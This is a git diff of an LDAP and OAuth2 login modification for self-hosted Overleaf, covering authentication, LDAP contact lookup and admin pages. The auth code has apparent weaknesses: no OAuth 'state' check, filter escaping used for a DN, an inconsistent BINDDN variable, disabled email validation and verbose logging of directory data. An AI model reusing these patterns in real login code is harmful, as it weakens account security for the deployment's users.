+ LoginRateLimiter.recordSuccessfulLogin(user.email, () => {})
+ AuthenticationController._recordSuccessfulLogin(user._id, () => {})
+ AuthenticationController.ipMatchCheck(req, user)
+ Analytics.recordEventForUser(user._id, 'user-logged-in', {
+ source: req.session.saml
+ ? 'saml'
+ : req.user_info?.auth_provider || 'email-password',
+ })
+ Analytics.identifyUser(user._id, anonymousAnalyticsId, isNewUser)
+
+ logger.debug(
+ { email: user.email, user_id: user._id.toString() },
+ 'successful log in'
+ )
+
+ req.session.justLoggedIn = true
+ // capture the request ip for use when creating the session
+ return (user._login_req_ip = req.ip)
+}
+
+module.exports = AuthenticationController
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js
new file mode 100644
index 0000000..8519be1
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js
@@ -0,0 +1,446 @@
+const Settings = require('@overleaf/settings')
+const { User } = require('../../models/User')
+const { db, ObjectId } = require('../../infrastructure/mongodb')
+const bcrypt = require('bcrypt')
+const EmailHelper = require('../Helpers/EmailHelper')
+const {
+ InvalidEmailError,
+ InvalidPasswordError,
+ ParallelLoginError,
+} = require('./AuthenticationErrors')
+const util = require('util')
+const { Client } = require('ldapts');
+const ldapEscape = require('ldap-escape');
+const HaveIBeenPwned = require('./HaveIBeenPwned')
+
+const BCRYPT_ROUNDS = Settings.security.bcryptRounds || 12
+const BCRYPT_MINOR_VERSION = Settings.security.bcryptMinorVersion || 'a'
+
+const _checkWriteResult = function (result, callback) {
+ // for MongoDB
+ if (result && result.modifiedCount === 1) {
+ callback(null, true)
+ } else {
+ callback(null, false)
+ }
+}
+
+const AuthenticationManager = {
+ authenticate(query, password, callback) {
+ // Using Mongoose for legacy reasons here. The returned User instance
+ // gets serialized into the session and there may be subtle differences
+ // between the user returned by Mongoose vs mongodb (such as default values)
+ User.findOne(query, (error, user) => {
+ //console.log("Begining:" + JSON.stringify(query))
+ AuthenticationManager.authUserObj(error, user, query, password, callback)
+ })
+ },
+ //login with any password
+ login(user, password, callback) {
+ AuthenticationManager.checkRounds(
+ user,
+ user.hashedPassword,
+ password,
+ function (err) {
+ if (err) {
+ return callback(err)
+ }
+ callback(null, user)
+ HaveIBeenPwned.checkPasswordForReuseInBackground(password)
+ }
+ )
+ },
+
+ //oauth2
+ createUserIfNotExist(oauth_user, callback) {
+ const query = {
+ //name: ZHANG San
+ email: oauth_user.email
+ };
+ User.findOne(query, (error, user) => {
+ if ((!user || !user.hashedPassword)) {
+ //create random pass for local userdb, does not get checked for ldap users during login
+ let pass = require("crypto").randomBytes(32).toString("hex")
+ const userRegHand = require('../User/UserRegistrationHandler.js')
+ userRegHand.registerNewUser({
+ email: query.email,
+ first_name: oauth_user.given_name,
+ last_name: oauth_user.family_name,
+ password: pass
+ },
+ function (error, user) {
+ if (error) {
+ return callback(error, null);
+ }
+ user.admin = false
+ user.emails[0].confirmedAt = Date.now()
+ user.save()
+ console.log("user %s added to local library", query.email)
+ User.findOne(query, (error, user) => {
+ if (error) {
+ return callback(error, null);
+ }
+ if (user && user.hashedPassword) {
+ return callback(null, user);
+ } else {
+ return callback("Unknown error", null);
+ }
+ }
+ )
+ })
+ } else {
+ return callback(null, user);
+ }
+ });
+ },
+
+ //LDAP
+ createIfNotExistAndLogin(query, user, callback, uid, firstname, lastname, mail, isAdmin) {
+ if (!user) {
+ //console.log("Creating User:" + JSON.stringify(query))
+ //create random pass for local userdb, does not get checked for ldap users during login
+ let pass = require("crypto").randomBytes(32).toString("hex")
+ //console.log("Creating User:" + JSON.stringify(query) + "Random Pass" + pass)
+
+ const userRegHand = require('../User/UserRegistrationHandler.js')
+ userRegHand.registerNewUser({
+ email: mail,
+ first_name: firstname,
+ last_name: lastname,
+ password: pass
+ },
+ function (error, user) {
+ if (error) {
+ console.log(error)
+ }
+ user.email = mail
+ user.isAdmin = isAdmin
+ user.emails[0].confirmedAt = Date.now()
+ user.save()
+ //console.log("user %s added to local library: ", mail)
+ User.findOne(query, (error, user) => {
+ if (error) {
+ console.log(error)
+ }
+ if (user && user.hashedPassword) {
+ AuthenticationManager.login(user, "randomPass", callback)
+ }
+ })
+ }) // end register user
+ } else {
+ AuthenticationManager.login(user, "randomPass", callback)
+ }
+ },
+
+ authUserObj(error, user, query, password, callback) {
+ if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) {
+ console.log("email login for existing user " + query.email)
+ // check passwd against local db
+ bcrypt.compare(password, user.hashedPassword, function (error, match) {
+ if (match) {
+ console.log("Local user password match")
+ AuthenticationManager.login(user, password, callback)
+ } else {
+ console.log("Local user password mismatch, trying LDAP")
+ // check passwd against ldap
+ AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user)
+ }
+ })
+ } else {
+ // No local passwd check user has to be in ldap and use ldap credentials
+ AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user)
+ }
+ return null
+ },
+
+ validateEmail(email) {
+ // we use the emailadress from the ldap
+ // therefore we do not enforce checks here
+ const parsed = EmailHelper.parseEmail(email)
+ //if (!parsed) {
+ // return new InvalidEmailError({ message: 'email not valid' })
+ //}
+ return null
+ },
+
+ // validates a password based on a similar set of rules to `complexPassword.js` on the frontend
+ // note that `passfield.js` enforces more rules than this, but these are the most commonly set.
+ // returns null on success, or an error object.
+ validatePassword(password, email) {
+ if (password == null) {
+ return new InvalidPasswordError({
+ message: 'password not set',
+ info: { code: 'not_set' },
+ })
+ }
+
+ let allowAnyChars, min, max
+ if (Settings.passwordStrengthOptions) {
+ allowAnyChars = Settings.passwordStrengthOptions.allowAnyChars === true
+ if (Settings.passwordStrengthOptions.length) {
+ min = Settings.passwordStrengthOptions.length.min
+ max = Settings.passwordStrengthOptions.length.max
+ }
+ }
+ allowAnyChars = !!allowAnyChars
+ min = min || 6
+ max = max || 72
+
+ // we don't support passwords > 72 characters in length, because bcrypt truncates them
+ if (max > 72) {
+ max = 72
+ }
+
+ if (password.length < min) {
+ return new InvalidPasswordError({
+ message: 'password is too short',
+ info: { code: 'too_short' },
+ })
+ }
+ if (password.length > max) {
+ return new InvalidPasswordError({
+ message: 'password is too long',
+ info: { code: 'too_long' },
+ })
+ }
+ if (
+ !allowAnyChars &&
+ !AuthenticationManager._passwordCharactersAreValid(password)
+ ) {
+ return new InvalidPasswordError({
+ message: 'password contains an invalid character',
+ info: { code: 'invalid_character' },
+ })
+ }
+ if (typeof email === 'string' && email !== '') {
+ const startOfEmail = email.split('@')[0]
+ if (
+ password.indexOf(email) !== -1 ||
+ password.indexOf(startOfEmail) !== -1
+ ) {
+ return new InvalidPasswordError({
+ message: 'password contains part of email address',
+ info: { code: 'contains_email' },
+ })
+ }
+ }
+ return null
+ },
+
+ setUserPassword(user, password, callback) {
+ AuthenticationManager.setUserPasswordInV2(user, password, callback)
+ },
+
+ checkRounds(user, hashedPassword, password, callback) {
+ // Temporarily disable this function, TODO: re-enable this
+ if (Settings.security.disableBcryptRoundsUpgrades) {
+ return callback()
+ }
+ // check current number of rounds and rehash if necessary
+ const currentRounds = bcrypt.getRounds(hashedPassword)
+ if (currentRounds < BCRYPT_ROUNDS) {
+ AuthenticationManager.setUserPassword(user, password, callback)
+ } else {
+ callback()
+ }
+ },
+
+ hashPassword(password, callback) {
+ bcrypt.genSalt(BCRYPT_ROUNDS, BCRYPT_MINOR_VERSION, function (error, salt) {
+ if (error) {
+ return callback(error)
+ }
+ bcrypt.hash(password, salt, callback)
+ })
+ },
+
+ setUserPasswordInV2(user, password, callback) {
+ if (!user || !user.email || !user._id) {
+ return callback(new Error('invalid user object'))
+ }
+ const validationError = this.validatePassword(password, user.email)
+ if (validationError) {
+ return callback(validationError)
+ }
+ this.hashPassword(password, function (error, hash) {
+ if (error) {
+ return callback(error)
+ }
+ db.users.updateOne(
+ {
+ _id: ObjectId(user._id.toString()),
+ },
+ {
+ $set: {
+ hashedPassword: hash,
+ },
+ $unset: {
+ password: true,
+ },
+ },
+ function (updateError, result) {
+ if (updateError) {
+ return callback(updateError)
+ }
+ _checkWriteResult(result, callback)
+ HaveIBeenPwned.checkPasswordForReuseInBackground(password)
+ }
+ )
+ })
+ },
+
+ _passwordCharactersAreValid(password) {
+ let digits, letters, lettersUp, symbols
+ if (
+ Settings.passwordStrengthOptions &&
+ Settings.passwordStrengthOptions.chars
+ ) {
+ digits = Settings.passwordStrengthOptions.chars.digits
+ letters = Settings.passwordStrengthOptions.chars.letters
+ lettersUp = Settings.passwordStrengthOptions.chars.letters_up
+ symbols = Settings.passwordStrengthOptions.chars.symbols
+ }
+ digits = digits || '1234567890'
+ letters = letters || 'abcdefghijklmnopqrstuvwxyz'
+ lettersUp = lettersUp || 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+ symbols = symbols || '@#$%^&*()-_=+[]{};:<>/?!£€.,'
+
+ for (let charIndex = 0; charIndex <= password.length - 1; charIndex++) {
+ if (
+ digits.indexOf(password[charIndex]) === -1 &&
+ letters.indexOf(password[charIndex]) === -1 &&
+ lettersUp.indexOf(password[charIndex]) === -1 &&
+ symbols.indexOf(password[charIndex]) === -1
+ ) {
+ return false
+ }
+ }
+ return true
+ },
+
+
+ async ldapAuth(query, password, onSuccessCreateUserIfNotExistent, callback, user) {
+ const client = new Client({
+ url: process.env.LDAP_SERVER,
+ });
+
+ const ldap_reader = process.env.LDAP_BIND_USER
+ const ldap_reader_pass = process.env.LDAP_BIND_PW
+ const ldap_base = process.env.LDAP_BASE
+
+ var mail = query.email
+ var uid = query.email.split('@')[0]
+ var firstname = ""
+ var lastname = ""
+ var isAdmin = false
+ var userDn = ""
+
+ //replace all appearences of %u with uid and all %m with mail:
+ const replacerUid = new RegExp("%u", "g")
+ const replacerMail = new RegExp("%m","g")
+ const filterstr = process.env.LDAP_USER_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) //replace all appearances
+ // check bind
+ try {
+ if(process.env.LDAP_BINDDN){ //try to bind directly with the user trying to log in
+ userDn = process.env.LDAP_BINDDN.replace(replacerUid,ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`);
+ await client.bind(userDn,password);
+ }else{// use fixed bind user
+ await client.bind(ldap_reader, ldap_reader_pass);
+ }
+ } catch (ex) {
+ if(process.env.LDAP_BINDDN){
+ console.log("Could not bind user: " + userDn);
+ }else{
+ console.log("Could not bind LDAP reader: " + ldap_reader + " err: " + String(ex))
+ }
+ return callback(null, null)
+ }
+
+ // get user data
+ try {
+ const {searchEntries, searchRef,} = await client.search(ldap_base, {
+ scope: 'sub',
+ filter: filterstr ,
+ });
+ await searchEntries
+ console.log(JSON.stringify(searchEntries))
+ if (searchEntries[0]) {
+ mail = searchEntries[0].mail
+ uid = searchEntries[0].uid
+ firstname = searchEntries[0].givenName
+ lastname = searchEntries[0].sn
+ if(!process.env.LDAP_BINDDN){ //dn is already correctly assembled
+ userDn = searchEntries[0].dn
+ }
+ console.log("Found user: " + mail + " Name: " + firstname + " " + lastname + " DN: " + userDn)
+ }
+ } catch (ex) {
+ console.log("An Error occured while getting user data during ldapsearch: " + String(ex))
+ await client.unbind();
+ return callback(null, null)
+ }
+
+ try {
+ // if admin filter is set - only set admin for user in ldap group
+ // does not matter - admin is deactivated: managed through ldap
+ if (process.env.LDAP_ADMIN_GROUP_FILTER) {
+ const adminfilter = process.env.LDAP_ADMIN_GROUP_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`)
+ adminEntry = await client.search(ldap_base, {
+ scope: 'sub',
+ filter: adminfilter,
+ });
+ await adminEntry;
+ //console.log("Admin Search response:" + JSON.stringify(adminEntry.searchEntries))
+ if (adminEntry.searchEntries[0]) {
+ console.log("is Admin")
+ isAdmin=true;
+ }
+ }
+ } catch (ex) {
+ console.log("An Error occured while checking for admin rights - setting admin rights to false: " + String(ex))
+ isAdmin = false;
+ } finally {
+ await client.unbind();
+ }
+ if (mail == "" || userDn == "") {
+ console.log("Mail / userDn not set - exit. This should not happen - please set mail-entry in ldap.")
+ return callback(null, null)
+ }
+
+ if(!process.env.BINDDN){//since we used a fixed bind user to obtain the correct userDn we need to bind again to authenticate
+ try {
+ await client.bind(userDn, password);
+ } catch (ex) {
+ console.log("Could not bind User: " + userDn + " err: " + String(ex))
+ return callback(null, null)
+ } finally{
+ await client.unbind()
+ }
+ }
+ //console.log("Logging in user: " + mail + " Name: " + firstname + " " + lastname + " isAdmin: " + String(isAdmin))
+ // we are authenticated now let's set the query to the correct mail from ldap
+ query.email = mail
+ User.findOne(query, (error, user) => {
+ if (error) {
+ console.log(error)
+ }
+ if (user && user.hashedPassword) {
+ //console.log("******************** LOGIN ******************")
+ AuthenticationManager.login(user, "randomPass", callback)
+ } else {
+ onSuccessCreateUserIfNotExistent(query, user, callback, uid, firstname, lastname, mail, isAdmin)
+ }
+ })
+ }
+
+
+
+}
+
+AuthenticationManager.promises = {
+ authenticate: util.promisify(AuthenticationManager.authenticate),
+ hashPassword: util.promisify(AuthenticationManager.hashPassword),
+ setUserPassword: util.promisify(AuthenticationManager.setUserPassword),
+}
+
+module.exports = AuthenticationManager
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js
new file mode 100644
index 0000000..4146982
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/ContactController.js
@@ -0,0 +1,140 @@
+/* eslint-disable
+ camelcase,
+ max-len,
+ no-unused-vars,
+*/
+// TODO: This file was created by bulk-decaffeinate.
+// Fix any style issues and re-enable lint.
+/*
+ * decaffeinate suggestions:
+ * DS101: Remove unnecessary use of Array.from
+ * DS102: Remove unnecessary code created because of implicit returns
+ * DS207: Consider shorter variations of null checks
+ * Full docs: https://github.com/decaffeinate/decaffeinate/blob/master/docs/suggestions.md
+ */
+let ContactsController
+const AuthenticationController = require('../Authentication/AuthenticationController')
+const SessionManager = require('../Authentication/SessionManager')
+const ContactManager = require('./ContactManager')
+const UserGetter = require('../User/UserGetter')
+const logger = require('logger-sharelatex')
+const Modules = require('../../infrastructure/Modules')
+const { Client } = require('ldapts');
+
+module.exports = ContactsController = {
+ getContacts(req, res, next) {
+ // const user_id = AuthenticationController.getLoggedInUserId(req)
+ const user_id = SessionManager.getLoggedInUserId(req.session)
+ return ContactManager.getContactIds(
+ user_id,
+ { limit: 50 },
+ function (error, contact_ids) {
+ if (error != null) {
+ return next(error)
+ }
+ return UserGetter.getUsers(
+ contact_ids,
+ {
+ email: 1,
+ first_name: 1,
+ last_name: 1,
+ holdingAccount: 1,
+ },
+ function (error, contacts) {
+ if (error != null) {
+ return next(error)
+ }
+
+ // UserGetter.getUsers may not preserve order so put them back in order
+ const positions = {}
+ for (let i = 0; i < contact_ids.length; i++) {
+ const contact_id = contact_ids[i]
+ positions[contact_id] = i
+ }
+
+ contacts.sort(
+ (a, b) =>
+ positions[a._id != null ? a._id.toString() : undefined] -
+ positions[b._id != null ? b._id.toString() : undefined]
+ )
+
+ // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc)
+ contacts = contacts.filter(c => !c.holdingAccount)
+ ContactsController.getLdapContacts(contacts).then((ldapcontacts) => {
+ contacts.push(ldapcontacts)
+ contacts = contacts.map(ContactsController._formatContact)
+ return Modules.hooks.fire('getContacts', user_id, contacts, function(
+ error,
+ additional_contacts
+ ) {
+ if (error != null) {
+ return next(error)
+ }
+ contacts = contacts.concat(...Array.from(additional_contacts || []))
+ return res.send({
+ contacts
+ })
+ })
+ }).catch(e => console.log("Error appending ldap contacts" + e))
+
+ }
+ )
+ })
+ },
+ async getLdapContacts(contacts) {
+ if (process.env.LDAP_CONTACTS === undefined || !(process.env.LDAP_CONTACTS.toLowerCase() === 'true')) {
+ return contacts
+ }
+ const client = new Client({
+ url: process.env.LDAP_SERVER,
+ });
+
+ // if we need a ldap user try to bind
+ if (process.env.LDAP_BIND_USER) {
+ try {
+ await client.bind(process.env.LDAP_BIND_USER, process.env.LDAP_BIND_PW);
+ } catch (ex) {
+ console.log("Could not bind LDAP reader user: " + String(ex) )
+ }
+ }
+
+ const ldap_base = process.env.LDAP_BASE
+ // get user data
+ try {
+ // if you need an client.bind do it here.
+ const {searchEntries,searchReferences,} = await client.search(ldap_base, {scope: 'sub',filter: process.env.LDAP_CONTACT_FILTER ,});
+ await searchEntries;
+ for (var i = 0; i < searchEntries.length; i++) {
+ var entry = new Map()
+ var obj = searchEntries[i];
+ entry['_id'] = undefined
+ entry['email'] = obj['mail']
+ entry['first_name'] = obj['givenName']
+ entry['last_name'] = obj['sn']
+ entry['type'] = "user"
+ // Only add to contacts if entry is not there.
+ if(contacts.indexOf(entry) === -1) {
+ contacts.push(entry);
+ }
+ }
+ } catch (ex) {
+ console.log(String(ex))
+ }
+ //console.log(JSON.stringify(contacts))
+ finally {
+ // even if we did not use bind - the constructor of
+ // new Client() opens a socket to the ldap server
+ client.unbind()
+ return contacts
+ }
+ },
+ _formatContact(contact) {
+ return {
+ id: contact._id != null ? contact._id.toString() : undefined,
+ email: contact.email || '',
+ first_name: contact.first_name || '',
+ last_name: contact.last_name || '',
+ type: 'user',
+ }
+ },
+}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug
new file mode 100644
index 0000000..88e264b
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-index.pug
@@ -0,0 +1,57 @@
+extends ../layout
+
+block content
+ .content.content-alt
+ .container
+ .row
+ .col-xs-12
+ .card(ng-controller="RegisterUsersController")
+ .page-header
+ h1 Admin Panel
+ tabset(ng-cloak)
+ tab(heading="System Messages")
+ each message in systemMessages
+ .alert.alert-info.row-spaced(ng-non-bindable) #{message.content}
+ hr
+ form(method='post', action='/admin/messages')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ .form-group
+ label(for="content")
+ input.form-control(name="content", type="text", placeholder="Message...", required)
+ button.btn.btn-primary(type="submit") Post Message
+ hr
+ form(method='post', action='/admin/messages/clear')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ button.btn.btn-danger(type="submit") Clear all messages
+
+
+ tab(heading="Register non LDAP User")
+ form.form
+ .row
+ .col-md-4.col-xs-8
+ input.form-control(
+ name="email",
+ type="text",
+ placeholder="jane@example.com, joe@example.com",
+ ng-model="inputs.emails",
+ on-enter="registerUsers()"
+ )
+ .col-md-8.col-xs-4
+ button.btn.btn-primary(ng-click="registerUsers()") #{translate("register")}
+
+ .row-spaced(ng-show="error").ng-cloak.text-danger
+ p Sorry, an error occured
+
+ .row-spaced(ng-show="users.length > 0").ng-cloak.text-success
+ p We've sent out welcome emails to the registered users.
+ p You can also manually send them URLs below to allow them to reset their password and log in for the first time.
+ p (Password reset tokens will expire after one week and the user will need registering again).
+
+ hr(ng-show="users.length > 0").ng-cloak
+ table(ng-show="users.length > 0").table.table-striped.ng-cloak
+ tr
+ th #{translate("email")}
+ th Set Password Url
+ tr(ng-repeat="user in users")
+ td {{ user.email }}
+ td(style="word-break: break-all;") {{ user.setNewPasswordUrl }}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug
new file mode 100644
index 0000000..c7131a3
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/admin-sysadmin.pug
@@ -0,0 +1,79 @@
+extends ../layout
+
+block content
+ .content.content-alt
+ .container
+ .row
+ .col-xs-12
+ .card(ng-controller="RegisterUsersController")
+ .page-header
+ h1 Admin Panel
+ tabset(ng-cloak)
+ tab(heading="System Messages")
+ each message in systemMessages
+ .alert.alert-info.row-spaced(ng-non-bindable) #{message.content}
+ hr
+ form(method='post', action='/admin/messages')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ .form-group
+ label(for="content")
+ input.form-control(name="content", type="text", placeholder="Message...", required)
+ button.btn.btn-primary(type="submit") Post Message
+ hr
+ form(method='post', action='/admin/messages/clear')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ button.btn.btn-danger(type="submit") Clear all messages
+
+
+ tab(heading="Register non LDAP User")
+ form.form
+ .row
+ .col-md-4.col-xs-8
+ input.form-control(
+ name="email",
+ type="text",
+ placeholder="jane@example.com, joe@example.com",
+ ng-model="inputs.emails",
+ on-enter="registerUsers()"
+ )
+ .col-md-8.col-xs-4
+ button.btn.btn-primary(ng-click="registerUsers()") #{translate("register")}
+
+ .row-spaced(ng-show="error").ng-cloak.text-danger
+ p Sorry, an error occured
+
+ .row-spaced(ng-show="users.length > 0").ng-cloak.text-success
+ p We've sent out welcome emails to the registered users.
+ p You can also manually send them URLs below to allow them to reset their password and log in for the first time.
+ p (Password reset tokens will expire after one week and the user will need registering again).
+
+ hr(ng-show="users.length > 0").ng-cloak
+ table(ng-show="users.length > 0").table.table-striped.ng-cloak
+ tr
+ th #{translate("email")}
+ th Set Password Url
+ tr(ng-repeat="user in users")
+ td {{ user.email }}
+ td(style="word-break: break-all;") {{ user.setNewPasswordUrl }}
+ tab(heading="Open/Close Editor" bookmarkable-tab="open-close-editor")
+ if hasFeature('saas')
+ | The "Open/Close Editor" feature is not available in SAAS.
+ else
+ .row-spaced
+ form(method='post',action='/admin/closeEditor')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ button.btn.btn-danger(type="submit") Close Editor
+ p.small Will stop anyone opening the editor. Will NOT disconnect already connected users.
+
+ .row-spaced
+ form(method='post',action='/admin/disconnectAllUsers')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ button.btn.btn-danger(type="submit") Disconnect all users
+ p.small Will force disconnect all users with the editor open. Make sure to close the editor first to avoid them reconnecting.
+
+ .row-spaced
+ form(method='post',action='/admin/openEditor')
+ input(name="_csrf", type="hidden", value=csrfToken)
+ button.btn.btn-danger(type="submit") Reopen Editor
+ p.small Will reopen the editor after closing.
+
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff
new file mode 100644
index 0000000..c45a271
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authcontroller.diff
@@ -0,0 +1,103 @@
+23,24d22
+< const axios = require('axios').default
+< const Path = require('path')
+195c193
+< logger.debug({ email }, 'too many login requests')
+---
+> logger.log({ email }, 'too many login requests')
+227c225
+< logger.debug({ email }, 'failed log in')
+---
+> logger.log({ email }, 'failed log in')
+298,364d295
+< oauth2Redirect(req, res, next) {
+< res.redirect(`${process.env.OAUTH_AUTH_URL}?` +
+< querystring.stringify({
+< client_id: process.env.OAUTH_CLIENT_ID,
+< response_type: "code",
+< redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
+< }));
+< },
+<
+< oauth2Callback(req, res, next) {
+< const code = req.query.code;
+<
+< //construct axios body
+< const params = new URLSearchParams()
+< params.append('grant_type', "authorization_code")
+< params.append('client_id', process.env.OAUTH_CLIENT_ID)
+< params.append('client_secret', process.env.OAUTH_CLIENT_SECRET)
+< params.append("code", code)
+< params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback"))
+<
+<
+< // json_body = {
+< // "grant_type": "authorization_code",
+< // client_id: process.env.OAUTH_CLIENT_ID,
+< // client_secret: process.env.OAUTH_CLIENT_SECRET,
+< // "code": code,
+< // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
+< // }
+<
+< axios.post(process.env.OAUTH_ACCESS_URL, params, {
+< headers: {
+< "Content-Type": "application/x-www-form-urlencoded",
+<
+< }
+< }).then(access_res => {
+<
+< // console.log("respond is " + JSON.stringify(access_res.data))
+< // console.log("authorization_bearer_is " + authorization_bearer)
+< authorization_bearer = "Bearer " + access_res.data.access_token
+<
+< let axios_get_config = {
+< headers: {
+< "Content-Type": "application/x-www-form-urlencoded",
+< "Authorization": authorization_bearer,
+< },
+< params: access_res.data
+< }
+<
+< axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => {
+< // console.log("oauth_user: ", JSON.stringify(info_res.data));
+< if (info_res.data.err) {
+< res.json({message: info_res.data.err});
+< } else {
+< AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => {
+< if (error) {
+< res.json({message: error});
+< } else {
+< // console.log("real_user: ", user);
+< AuthenticationController.finishLogin(user, req, res, next);
+< }
+< });
+< }
+< });
+< });
+< },
+<
+<
+444c375
+< logger.debug(
+---
+> logger.log(
+477c408
+< email,
+---
+> email: email,
+547c478
+< logger.debug(
+---
+> logger.log(
+558c489
+< logger.debug(
+---
+> logger.log(
+568c499
+< logger.debug(
+---
+> logger.log(
+689c620
+< logger.debug(
+---
+> logger.log(
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff
new file mode 100644
index 0000000..841804d
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/authmanager.diff
@@ -0,0 +1,297 @@
+12,13d11
+< const { Client } = require('ldapts');
+< const ldapEscape = require('ldap-escape');
+34,92c32,36
+< //console.log("Begining:" + JSON.stringify(query))
+< AuthenticationManager.authUserObj(error, user, query, password, callback)
+< })
+< },
+< //login with any password
+< login(user, password, callback) {
+< AuthenticationManager.checkRounds(
+< user,
+< user.hashedPassword,
+< password,
+< function (err) {
+< if (err) {
+< return callback(err)
+< }
+< callback(null, user)
+< HaveIBeenPwned.checkPasswordForReuseInBackground(password)
+< }
+< )
+< },
+<
+< //oauth2
+< createUserIfNotExist(oauth_user, callback) {
+< const query = {
+< //name: ZHANG San
+< email: oauth_user.email
+< };
+< User.findOne(query, (error, user) => {
+< if ((!user || !user.hashedPassword)) {
+< //create random pass for local userdb, does not get checked for ldap users during login
+< let pass = require("crypto").randomBytes(32).toString("hex")
+< const userRegHand = require('../User/UserRegistrationHandler.js')
+< userRegHand.registerNewUser({
+< email: query.email,
+< first_name: oauth_user.given_name,
+< last_name: oauth_user.family_name,
+< password: pass
+< },
+< function (error, user) {
+< if (error) {
+< return callback(error, null);
+< }
+< user.admin = false
+< user.emails[0].confirmedAt = Date.now()
+< user.save()
+< console.log("user %s added to local library", query.email)
+< User.findOne(query, (error, user) => {
+< if (error) {
+< return callback(error, null);
+< }
+< if (user && user.hashedPassword) {
+< return callback(null, user);
+< } else {
+< return callback("Unknown error", null);
+< }
+< }
+< )
+< })
+< } else {
+< return callback(null, user);
+---
+> if (error) {
+> return callback(error)
+> }
+> if (!user || !user.hashedPassword) {
+> return callback(null, null)
+94,138d37
+< });
+< },
+<
+< //LDAP
+< createIfNotExistAndLogin(query, user, callback, uid, firstname, lastname, mail, isAdmin) {
+< if (!user) {
+< //console.log("Creating User:" + JSON.stringify(query))
+< //create random pass for local userdb, does not get checked for ldap users during login
+< let pass = require("crypto").randomBytes(32).toString("hex")
+< //console.log("Creating User:" + JSON.stringify(query) + "Random Pass" + pass)
+<
+< const userRegHand = require('../User/UserRegistrationHandler.js')
+< userRegHand.registerNewUser({
+< email: mail,
+< first_name: firstname,
+< last_name: lastname,
+< password: pass
+< },
+< function (error, user) {
+< if (error) {
+< console.log(error)
+< }
+< user.email = mail
+< user.isAdmin = isAdmin
+< user.emails[0].confirmedAt = Date.now()
+< user.save()
+< //console.log("user %s added to local library: ", mail)
+< User.findOne(query, (error, user) => {
+< if (error) {
+< console.log(error)
+< }
+< if (user && user.hashedPassword) {
+< AuthenticationManager.login(user, "randomPass", callback)
+< }
+< })
+< }) // end register user
+< } else {
+< AuthenticationManager.login(user, "randomPass", callback)
+< }
+< },
+<
+< authUserObj(error, user, query, password, callback) {
+< if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) {
+< console.log("email login for existing user " + query.email)
+< // check passwd against local db
+140,146c39,40
+< if (match) {
+< console.log("Local user password match")
+< AuthenticationManager.login(user, password, callback)
+< } else {
+< console.log("Local user password mismatch, trying LDAP")
+< // check passwd against ldap
+< AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user)
+---
+> if (error) {
+> return callback(error)
+147a42,73
+> const update = { $inc: { loginEpoch: 1 } }
+> if (!match) {
+> update.$set = { lastFailedLogin: new Date() }
+> }
+> User.updateOne(
+> { _id: user._id, loginEpoch: user.loginEpoch },
+> update,
+> {},
+> (err, result) => {
+> if (err) {
+> return callback(err)
+> }
+> if (result.nModified !== 1) {
+> return callback(new ParallelLoginError())
+> }
+> if (!match) {
+> return callback(null, null)
+> }
+> AuthenticationManager.checkRounds(
+> user,
+> user.hashedPassword,
+> password,
+> function (err) {
+> if (err) {
+> return callback(err)
+> }
+> callback(null, user)
+> HaveIBeenPwned.checkPasswordForReuseInBackground(password)
+> }
+> )
+> }
+> )
+149,153c75
+< } else {
+< // No local passwd check user has to be in ldap and use ldap credentials
+< AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user)
